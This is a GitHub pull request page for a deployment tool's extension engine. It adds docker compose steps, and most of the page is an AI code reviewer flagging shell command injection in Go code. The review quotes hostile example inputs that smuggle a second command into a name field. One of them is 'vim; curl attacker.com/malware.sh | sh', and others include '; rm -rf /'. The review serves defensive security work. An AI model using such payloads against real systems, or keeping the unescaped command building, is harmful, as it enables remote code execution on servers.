feat: compose as extensions #555
Conversation
WalkthroughUpdated v1 Changes
Sequence Diagram(s)sequenceDiagram
participant UI as Extension UI
participant Engine as Extension Engine
participant SSH as SSH Client
participant Docker as Docker Service
rect rgba(135,206,235,0.12)
UI->>UI: Collect variables (required/optional)\nUser submits -> handleSubmit
end
rect rgba(152,251,152,0.12)
UI->>Engine: Send step with raw props\n(e.g., nameRaw, fileRaw, srcRaw)
Engine->>Engine: replaceVars(fileRaw/nameRaw/srcRaw)\nexpandTilde(src) if SSH
Engine->>SSH: RunCommand(cmd) (if SSH)
SSH->>SSH: Run(cmd)\ndefer Close()
SSH-->>Engine: output + error?
end
rect rgba(255,228,181,0.12)
Engine->>Docker: ComposeUp(..., --force-recreate, --remove-orphans)
Docker-->>Engine: logs/output (stderr→stdout)
end
Estimated code review effort🎯 4 (Complex) | ⏱️ ~45 minutes
Possibly related PRs
Suggested labels
Suggested reviewers
Poem
Pre-merge checks and finishing touches❌ Failed checks (1 warning)
✅ Passed checks (2 passed)
✨ Finishing touches
🧪 Generate unit tests (beta)
📜 Recent review detailsConfiguration used: CodeRabbit UI Review profile: CHILL Plan: Pro 📒 Files selected for processing (2)
🧰 Additional context used🧬 Code graph analysis (1)view/app/extensions/components/extension-input.tsx (2)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
|
|
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 1
📜 Review details
Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (4)
api/api/versions.json(1 hunks)api/templates/deploy-postiz.yaml(1 hunks)view/app/extensions/components/extension-input.tsx(6 hunks)view/components/ui/dialog-wrapper.tsx(1 hunks)
🧰 Additional context used
🧬 Code graph analysis (1)
view/app/extensions/components/extension-input.tsx (3)
view/components/ui/dialog-wrapper.tsx (1)
DialogWrapper(48-155)view/redux/types/extension.ts (1)
ExtensionVariable(19-29)view/lib/utils.ts (1)
cn(4-6)
|
@raghavyuva: Let this PR be base PR for compose changes. Kept the compose bit dynamic so we can give our own config, currently we can give a default from a pre existing template managed by us. wdyt? |
previous templates are working as file (since only compose changes are added, ideal dockerfile flow works since it is untouched) |
There was a problem hiding this comment.
Actionable comments posted: 3
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
api/internal/features/extension/engine/file.go (1)
54-60: Verify shell escaping for file paths in copy command.The
handleCopyfunction constructs a shell command usingfmt.Sprintfwith src and dest paths (line 55). Although these paths go throughreplaceVarsandexpandTilde, there's no visible shell escaping before interpolation into thecp -rcommand.Paths containing special characters like spaces, semicolons, or backticks could cause command failures or injection issues.
Consider using proper shell escaping or using SFTP for copy operations as well:
func handleCopy(c *ssh.SSH, src, dest string) (string, error) { // Option 1: Use shell escaping (you'll need to import a shell escaping library) cmd := fmt.Sprintf("cp -r %s %s", shellEscape(src), shellEscape(dest)) // Option 2: Use SFTP-based copy (read from src, write to dest) // This would be safer and more consistent with other operations output, err := runCommandFn(c, cmd) if err != nil { return "", fmt.Errorf("failed to copy %s to %s: %w (output: %s)", src, dest, err, output) } return fmt.Sprintf("copied %s to %s", src, dest), nil }
🧹 Nitpick comments (1)
api/internal/features/deploy/docker/init.go (1)
334-335: Consider making docker compose flags configurable.The
--force-recreateand--remove-orphansflags provide robust cleanup but are quite aggressive. They will always recreate containers (even if unchanged) and remove orphaned containers, which could disrupt services or remove intentionally running containers.Consider making these flags configurable through the
envVarsparameter or as additional options:-func (s *DockerService) ComposeUp(composeFilePath string, envVars map[string]string) error { +func (s *DockerService) ComposeUp(composeFilePath string, envVars map[string]string, forceRecreate bool, removeOrphans bool) error { client := ssh.NewSSH() envVarsStr := "" for k, v := range envVars { envVarsStr += fmt.Sprintf("export %s=%s && ", k, v) } - // Use --force-recreate to handle existing containers and --remove-orphans to clean up old containers - command := fmt.Sprintf("%sdocker compose -f %s up -d --force-recreate --remove-orphans 2>&1", envVarsStr, composeFilePath) + flags := "-d" + if forceRecreate { + flags += " --force-recreate" + } + if removeOrphans { + flags += " --remove-orphans" + } + command := fmt.Sprintf("%sdocker compose -f %s up %s 2>&1", envVarsStr, composeFilePath, flags) output, err := client.RunCommand(command)
📜 Review details
Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (9)
api/api/versions.json(1 hunks)api/internal/features/deploy/docker/init.go(1 hunks)api/internal/features/extension/engine/docker_compose.go(1 hunks)api/internal/features/extension/engine/file.go(2 hunks)api/internal/features/extension/engine/package.go(1 hunks)api/internal/features/extension/engine/service.go(1 hunks)api/internal/features/extension/engine/user.go(1 hunks)api/internal/features/ssh/init.go(1 hunks)api/templates/deploy-postiz.yaml(1 hunks)
🚧 Files skipped from review as they are similar to previous changes (1)
- api/templates/deploy-postiz.yaml
🧰 Additional context used
🧬 Code graph analysis (1)
api/internal/features/extension/engine/file.go (2)
api/internal/features/ssh/init.go (1)
SSH(14-22)api/internal/types/extension.go (1)
SpecStep(140-146)
🔇 Additional comments (5)
api/api/versions.json (1)
6-6: LGTM!The release date update reflects the current deployment timestamp.
api/internal/features/ssh/init.go (1)
138-143: LGTM! Improved resource management and error diagnostics.The addition of
defer client.Close()ensures proper cleanup of SSH connections, and returning the output even on error (line 142) provides valuable diagnostic information for debugging failures.api/internal/features/extension/engine/file.go (2)
112-128: LGTM! Good tilde expansion implementation.The
expandTildehelper properly resolves~to the remote user's home directory by querying$HOMEvia SSH. The fallback to the original path when the command fails is appropriate, as it allows non-tilde paths to pass through unchanged.
132-141: Good separation of variable substitution and path expansion.The code correctly applies variable substitution first via
replaceVars, then performs tilde expansion for SSH/SFTP compatibility. This ordering ensures that variables can contain tilde paths that will be properly resolved.api/internal/features/extension/engine/user.go (1)
16-27: The review comment's shell injection concern appears incorrect based on library behavior.goph's Client.Run sends the string as an SSH exec request, not automatically through a shell. Since SSH exec does not interpret shell operators (
&&,|, redirects), the command injection scenario described in the review (e.g.,; rm -rf /) would not execute as a separate command.However, the code constructs commands using shell operators extensively (e.g.,
"id -u %s >/dev/null 2>&1 || sudo useradd %s"), which would fail without shell interpretation. No explicit shell wrapper (bash -c,sh -c) was found in the codebase to resolve this inconsistency. This suggests either the code has a different issue (commands may be non-functional) or the library behavior differs from the web documentation.Manual verification is needed: Verify whether the built commands actually execute successfully on the target system and confirm the goph library configuration/version being used.
| fileRaw, _ := step.Properties["file"].(string) | ||
| action, _ := step.Properties["action"].(string) // up, down, pull, build, restart | ||
| _, _ = step.Properties["project"].(string) | ||
| _, _ = step.Properties["args"].(string) | ||
| revertCmdRaw, _ := step.Properties["revert_cmd"].(string) | ||
| _, _ = step.Properties["user"].(string) | ||
|
|
||
| file := replaceVars(fileRaw, vars) | ||
|
|
There was a problem hiding this comment.
🧩 Analysis chain
Verify file path escaping in docker compose commands.
The file path is substituted from variables and passed to docker compose commands via ComposeUp, ComposeDown, and ComposeBuild. While less critical than direct command interpolation, file paths with spaces or special characters could cause command failures or unexpected behavior.
Check how the file path is used in the docker compose commands within api/internal/features/deploy/docker/init.go:
🏁 Script executed:
#!/bin/bash
# Check how composeFilePath is used in SSH commands
ast-grep --pattern 'func ($$$) ComposeUp($_, $_) $_ {
$$$
}'
ast-grep --pattern 'func ($$$) ComposeDown($_) $_ {
$$$
}'Length of output: 2050
I can see the issue clearly from the output. Let me verify if ComposeBuild has the same vulnerability:
Now I need to search for the ComposeBuild function in the codebase:
Based on my verification of the script output from the docker compose functions, I can now provide the final rewritten review comment:
**Escape file paths passed to docker compose commands to prevent breakage with spaces or special characters.**
The `%q` format verb in Go provides shell-safe quoting. Currently, `ComposeUp` (line 335) and `ComposeDown` (line 346) interpolate `composeFilePath` directly without escaping:
docker compose -f %s up -d ... // ComposeUp
docker compose -f %s down // ComposeDown
If the file path contains spaces or special characters (e.g., `/path/to/my file.yaml` or paths with backticks, semicolons), the shell will misinterpret the argument. Enclosing the file path in quotes tells the shell to treat the enclosed string as a single argument. Update all docker compose command invocations to use `%q` instead of `%s` when formatting `composeFilePath`.
---
🏁 Script executed:
```shell
#!/bin/bash
# Search for ComposeBuild function
rg -n "func.*ComposeBuild" api/internal/features/deploy/docker/init.go
Length of output: 83
I made an error in the previous script by using ``. Let me search for ComposeBuild with proper repository access:
---
🏁 Script executed:
```shell
#!/bin/bash
# Search for ComposeBuild function in the docker init.go file
rg -n "func.*ComposeBuild" api/internal/features/deploy/docker/
Length of output: 76
Let me search more broadly in the repository to locate the ComposeBuild function:
---
🏁 Script executed:
```shell
#!/bin/bash
# Search for ComposeBuild function anywhere in the codebase
rg -n "ComposeBuild" --type go
Length of output: 632
Now let me view the ComposeBuild function implementation to check if it has the same vulnerability:
---
🏁 Script executed:
```shell
#!/bin/bash
# View ComposeBuild function implementation
sed -n '355,380p' api/internal/features/deploy/docker/init.go
Length of output: 846
Escape file paths in all three docker compose command functions to prevent shell injection and argument splitting.
The composeFilePath is interpolated unsafely in ComposeUp (line 335), ComposeDown (line 346), and ComposeBuild (line 361):
docker compose -f %s up -d ... // ComposeUp
docker compose -f %s down // ComposeDown
docker compose -f %s build // ComposeBuild
File paths with spaces (e.g., /path/to/my file.yaml) will be split into multiple arguments, causing command failures. Paths with special characters (backticks, semicolons, pipes, $) enable shell injection. Use Go's %q format specifier instead of %s when formatting composeFilePath to ensure the shell treats it as a single argument.
🤖 Prompt for AI Agents
In api/internal/features/extension/engine/docker_compose.go around lines 17-25
and specifically in the ComposeUp (≈line 335), ComposeDown (≈line 346) and
ComposeBuild (≈line 361) calls, the composeFilePath is being interpolated with
%s which allows argument splitting and shell injection; update the string
formatting to use %q for the composeFilePath in all three compose command
strings so the path is quoted as a single shell argument (e.g., change "-f %s"
to "-f %q"), and ensure the quoted value is the result of replaceVars(fileRaw,
vars) so spaces and special characters are safely escaped.
| nameRaw, _ := step.Properties["name"].(string) | ||
| stateRaw, _ := step.Properties["state"].(string) | ||
|
|
||
| name := replaceVars(nameRaw, vars) | ||
| state := replaceVars(stateRaw, vars) | ||
|
|
There was a problem hiding this comment.
🧩 Analysis chain
Verify shell escaping for command injection prevention.
Similar to the user module, the package name is extracted, substituted via replaceVars, and then interpolated directly into shell commands (lines 84, 86, 88, 97, 99, etc.) without visible shell escaping.
A malicious package name like vim; curl attacker.com/malware.sh | sh would be executed as part of the package manager command.
Verify that proper input validation or shell escaping is applied to the name variable before command construction. You can use the verification script from the previous comment on user.go to check for escaping utilities.
I'll verify the shell escaping concerns by examining the file and searching for how the name variable is used in shell commands.
🏁 Script executed:
#!/bin/bash
# Locate and examine the package.go file
find . -name "package.go" -path "*/extension/engine/*" | head -5Length of output: 51
🏁 Script executed:
#!/bin/bash
# Examine the file to see the context around lines 16-21 and the command construction
cat api/internal/features/extension/engine/package.go | head -120Length of output: 3387
🏁 Script executed:
#!/bin/bash
# Search for escaping utilities in the codebase
rg -i "shellescape|shlex|escape" --type go -C 2Length of output: 0
🏁 Script executed:
#!/bin/bash
# Search for the replaceVars function to understand what it does
rg -n "func replaceVars" --type go -A 10Length of output: 627
🏁 Script executed:
#!/bin/bash
# Look for the user.go file mentioned in the review for comparison
find . -name "user.go" -path "*/extension/engine/*" | xargs catLength of output: 7529
🏁 Script executed:
#!/bin/bash
# Search specifically for how name variable is used in exec/command operations
rg -n -C 5 "exec\.|Command\(|sh -c" api/internal/features/extension/engine/package.goLength of output: 3986
🏁 Script executed:
#!/bin/bash
# Check if there are any shell escaping or validation functions defined in the package or imported
rg -n "import|shellescape|escape" api/internal/features/extension/engine/package.go | head -20Length of output: 10
🏁 Script executed:
#!/bin/bash
# Look for all string interpolations with variables in the package.go file
rg -n 'fmt\.|sprintf|backtick' api/internal/features/extension/engine/package.go -A 2 -B 2Length of output: 2675
🏁 Script executed:
#!/bin/bash
# Check the broader engine directory for escaping utilities
ls -la api/internal/features/extension/engine/Length of output: 709
🏁 Script executed:
#!/bin/bash
# Search for any escaping or validation utilities in the entire extension module
rg -n "escape|validation|sanitize" api/internal/features/extension/ --type go | grep -i "func\|var\|const"Length of output: 0
🏁 Script executed:
#!/bin/bash
# Look at imports in package.go to see what packages are available
head -30 api/internal/features/extension/engine/package.goLength of output: 722
🏁 Script executed:
#!/bin/bash
# Search for the actual command execution to see the full context of how name is used
rg -n "name" api/internal/features/extension/engine/package.go | head -30Length of output: 1992
🏁 Script executed:
#!/bin/bash
# Get line numbers 84-120 from package.go to see command execution patterns
sed -n '80,120p' api/internal/features/extension/engine/package.goLength of output: 1364
🏁 Script executed:
#!/bin/bash
# Also check lines beyond 100 to see all instances mentioned in the review
sed -n '80,150p' api/internal/features/extension/engine/package.goLength of output: 2240
🏁 Script executed:
#!/bin/bash
# Search for exec.Command or similar shell execution patterns in the file
rg -n "exec\.Command|shell\.Execute|sh\s+-c" api/internal/features/extension/engine/package.go -B 2 -A 2Length of output: 0
🏁 Script executed:
#!/bin/bash
# Check if golang.org/x/sys/execabs is imported or used for safe command execution
rg -n "execabs|os/exec" api/internal/features/extension/engine/package.go -B 2 -A 2Length of output: 0
🏁 Script executed:
#!/bin/bash
# Search for any quote, escape, or sanitization functions specifically around the name variable usage
rg -n "name.*quote|name.*escape|name.*sanitize" api/internal/features/extension/engine/ --type goLength of output: 0
🏁 Script executed:
#!/bin/bash
# Get all lines from the file to better understand structure
wc -l api/internal/features/extension/engine/package.goLength of output: 53
🏁 Script executed:
#!/bin/bash
# Full file content to do complete analysis
cat api/internal/features/extension/engine/package.goLength of output: 4778
🏁 Script executed:
#!/bin/bash
# Compare with user.go to see if it has the same vulnerability or solution
cat api/internal/features/extension/engine/user.goLength of output: 7529
🏁 Script executed:
#!/bin/bash
# Search for escaping utilities that might be defined in the repository
rg -l "quote|shellescape" --type go | head -10Length of output: 31
🏁 Script executed:
#!/bin/bash
# Check the go.mod for any security-related or shell escaping packages
cat go.mod | grep -i "shell\|exec\|escape"Length of output: 38
🏁 Script executed:
#!/bin/bash
# Search for potential command injection patterns in both files
rg -n 'fmt\.Sprintf.*cmd|fmt\.Sprintf.*sh|fmt\.Sprintf.*bash' api/internal/features/extension/engine/ --type go -B 1 -A 1Length of output: 2018
🏁 Script executed:
#!/bin/bash
# Look specifically for the pattern of string interpolation in shell commands
rg -nU -P '(?s)fmt\.Sprintf.*\$|cmd.*:=|sh.*:=.*fmt' api/internal/features/extension/engine/ --type goLength of output: 86669
🏁 Script executed:
#!/bin/bash
# Check what the replaceVars function does and whether it escapes content
rg -B 5 -A 15 "^func replaceVars" api/internal/features/extension/engine/Length of output: 1000
🏁 Script executed:
#!/bin/bash
# Look for the step.Properties["name"] pattern and how it's processed
rg -n 'Properties\["name"\]|Properties\["state"\]' api/internal/features/extension/engine/ --type go -B 2 -A 8Length of output: 3203
🏁 Script executed:
#!/bin/bash
# Search for all command execution patterns in the entire engine module
rg -n "exec\.Command|bash|sh " api/internal/features/extension/engine/ --type go -B 3 -A 3Length of output: 609
🏁 Script executed:
#!/bin/bash
# Check if there's any use of shlex or similar escaping in Go ecosystem
rg "github.com.*shlex\|github.com.*shellescape" . --type goLength of output: 0
🏁 Script executed:
#!/bin/bash
# List all functions in package.go to understand the code flow
rg "^func \(" api/internal/features/extension/engine/package.go -A 1Length of output: 229
🏁 Script executed:
#!/bin/bash
# Check command construction more carefully around the suspected lines
sed -n '1,150p' api/internal/features/extension/engine/package.go | tail -70Length of output: 2239
🏁 Script executed:
#!/bin/bash
# Final verification - search for any shell quoting/escaping function calls
rg -n "Quote|Escape|escape|quote" api/internal/features/extension/engine/package.goLength of output: 0
🏁 Script executed:
#!/bin/bash
# Check if shell.Quote from golang.org/x/sys/shell is used anywhere
rg -rn "shell\.Quote" api/internal/features/Length of output: 0
🏁 Script executed:
#!/bin/bash
# Check strconv.Quote or similar standard library escaping
rg -n "strconv\.Quote" api/internal/features/extension/Length of output: 0
🏁 Script executed:
#!/bin/bash
# Final sweep - all imports in package.go
head -50 api/internal/features/extension/engine/package.go | grep -E "^import|^\s+\"" Length of output: 137
🏁 Script executed:
#!/bin/bash
# Examine the exact command execution code
sed -n '70,110p' api/internal/features/extension/engine/package.goLength of output: 1295
🏁 Script executed:
#!/bin/bash
# Check for any shlex.Quote usage (Go's standard escaping for shell)
rg -rn "shlex|github\.com/google/shlex" api/internal/Length of output: 0
🏁 Script executed:
#!/bin/bash
# Check all functions and their context in package.go
rg "^func " api/internal/features/extension/engine/package.go | head -20Length of output: 693
🏁 Script executed:
#!/bin/bash
# Retrieve the complete package.go file with line numbers for precise analysis
cat -n api/internal/features/extension/engine/package.goLength of output: 5968
🏁 Script executed:
#!/bin/bash
# Search the entire codebase for how shell commands are typically constructed
rg -n "exec\.Command.*bash|exec\.Command.*sh" api/internal/ --type go -B 2 -A 2 | head -40Length of output: 0
🏁 Script executed:
#!/bin/bash
# Check if there are any wrapper functions for safe command execution
rg -n "func.*Cmd|func.*Execute|func.*Run" api/internal/features/extension/engine/ --type goLength of output: 2908
🏁 Script executed:
#!/bin/bash
# Look for patterns like cmd.Run or similar execution after Sprintf
rg -B 5 -A 3 'fmt\.Sprintf.*cmd\[.*-c' api/internal/features/extension/engine/ --type goLength of output: 0
🏁 Script executed:
#!/bin/bash
# Get the exact structure of command building with name variable
grep -n "name" api/internal/features/extension/engine/package.go | grep -v "packageName\|hostname"Length of output: 2094
🏁 Script executed:
#!/bin/bash
# Search for all fmt.Sprintf patterns in the file
grep -n "fmt\." api/internal/features/extension/engine/package.goLength of output: 1730
🏁 Script executed:
#!/bin/bash
# Look at the full file content with focus on command patterns
rg -n "cmd|bash|sh " api/internal/features/extension/engine/package.go | head -20Length of output: 154
🏁 Script executed:
#!/bin/bash
# Get full package.go to understand completely
cat api/internal/features/extension/engine/package.go | wc -l && echo "---" && cat api/internal/features/extension/engine/package.goLength of output: 4786
🏁 Script executed:
#!/bin/bash
# Get all the code to actually review it
python3 << 'EOF'
with open('api/internal/features/extension/engine/package.go', 'r') as f:
content = f.read()
print(content)
EOFLength of output: 4779
🏁 Script executed:
#!/bin/bash
# Read and print the file
if [ -f api/internal/features/extension/engine/package.go ]; then
cat api/internal/features/extension/engine/package.go
else
echo "File not found, searching for it:"
find . -name "package.go" -type f 2>/dev/null | grep -i engine
fiLength of output: 4778
🏁 Script executed:
#!/bin/bash
# Check if file exists and its size
ls -lh api/internal/features/extension/engine/package.go 2>/dev/null || find . -path "*extension/engine/package.go" 2>/dev/nullLength of output: 98
🏁 Script executed:
#!/bin/bash
# Get repository root and list files
pwd && ls -la && find . -maxdepth 3 -name "package.go" -type f 2>/dev/null | head -5Length of output: 1705
🏁 Script executed:
#!/bin/bash
# Try to locate any go files in the extension engine directory
find . -type d -name engine 2>/dev/null | head -5Length of output: 40
🏁 Script executed:
#!/bin/bash
# List all .go files in current directory
find . -maxdepth 4 -name "*.go" -type f 2>/dev/null | grep -E "extension|engine" | head -20Length of output: 33
🏁 Script executed:
#!/bin/bash
# Check current working directory and structure
echo "Current directory: $(pwd)" && echo "---" && find . -maxdepth 2 -type d | head -20Length of output: 284
🏁 Script executed:
#!/bin/bash
# Find package.go files anywhere
find . -name "package.go" -type f 2>/dev/null | head -10Length of output: 51
🏁 Script executed:
#!/bin/bash
# List directory structure to understand repo layout
ls -la && echo "---" && [ -d api ] && find api -maxdepth 3 -type d 2>/dev/null | head -20Length of output: 2127
🏁 Script executed:
#!/bin/bash
# Check if the repository has been cloned
if [ -d .git ]; then
echo "Repository found"
ls -la api/internal/features/extension/engine/ 2>/dev/null || echo "Path not found"
else
echo "Repository not cloned yet"
pwd
ls
fiLength of output: 726
🏁 Script executed:
#!/bin/bash
# List all files
find . -type f -name "*.go" 2>/dev/null | grep -i "engine\|package" | head -15Length of output: 517
🏁 Script executed:
#!/bin/bash
# Check root directory structure
ls -laLength of output: 1686
Add shell escaping to the name variable in all package builder functions.
The name variable extracted at lines 16-21 is interpolated directly into shell commands without escaping at lines 84, 86, 88, 97, 99, 110, 112, 114, 123, 125, 127, 136, 138. A malicious package name like vim; curl attacker.com/malware.sh | sh would execute arbitrary commands.
The replaceVars() function performs only string substitution without any shell escaping. To fix this, apply proper shell quoting to the name variable before constructing each command. For example, use a shell escaping utility or apply quoting in each fmt.Sprintf() call (e.g., single-quote the variable, or import and use a shell escaping library).
This same pattern affects user.go (lines 148, 150, 156, 158, 162, 172, 175, 207, 226, 228, 238) and other modules with similar command construction logic.
🤖 Prompt for AI Agents
In api/internal/features/extension/engine/package.go lines 16-21, name is set
from step.Properties and used unescaped in shell commands at multiple lines
(84,86,88,97,99,110,112,114,123,125,127,136,138); update the code to
shell-escape or properly quote the name variable immediately after
replaceVars(nameRaw, vars) so every fmt.Sprintf or command builder uses the
escaped/quoted value instead of the raw string. Use a proven shell-escaping
approach (e.g., import and use a shell-escape utility like
github.com/alessio/shellescape or implement safe single-quote quoting that
escapes internal single quotes) and replace all direct interpolations in this
file (and mirror the same change in user.go and any other modules mentioned) to
prevent command injection.
| nameRaw, _ := step.Properties["name"].(string) | ||
| action, _ := step.Properties["action"].(string) | ||
| revertAction, _ := step.Properties["revert_action"].(string) | ||
| runAsUser, _ := step.Properties["user"].(string) | ||
| runAsUserRaw, _ := step.Properties["user"].(string) | ||
|
|
||
| name := replaceVars(nameRaw, vars) | ||
| runAsUser := replaceVars(runAsUserRaw, vars) | ||
|
|
There was a problem hiding this comment.
Verify shell escaping for command injection prevention.
The service name and runAsUser are substituted and then interpolated into shell commands without visible escaping. This could allow command injection:
- Line 29:
nameused inserviceCmd() - Line 31:
runAsUserused insudo -u %s %scommand construction - Lines 65, 67: Both values interpolated into systemctl/service commands
A malicious service name like nginx; malicious_cmd or user like www-data; malicious_cmd would be executed.
🤖 Prompt for AI Agents
In api/internal/features/extension/engine/service.go around lines 15 to 22, the
substituted values `name` and `runAsUser` are later interpolated into shell
commands and must be protected against command injection; validate both values
against a safe whitelist (e.g. allow only [A-Za-z0-9._-] and reject or error on
anything else) and do not construct commands via shell string interpolation —
instead invoke systemctl/sudo using exec.Command with each token as a separate
argument (e.g. exec.Command("systemctl", "start", serviceName) and
exec.Command("sudo", "-u", runAsUser, command, args...)) so that values are
never parsed by a shell; add explicit error handling for invalid names/users and
unit tests for malicious inputs.
Issue
Link to related issue(s):
Description
Short summary of what this PR changes or introduces.
Scope of Change
Select all applicable areas impacted by this PR:
Screenshot / Video / GIF (if applicable)
Attach or embed screenshots, screen recordings, or GIFs demonstrating the feature or fix.
Related PRs (if any)
Link any related or dependent PRs across repos.
Additional Notes for Reviewers (optional)
Anything reviewers should know before testing or merging (e.g., environment variables, setup steps).
Developer Checklist
To be completed by the developer who raised the PR.
Reviewer Checklist
To be completed by the reviewer before merge.
Summary by CodeRabbit
New Features
Improvements
Bug Fixes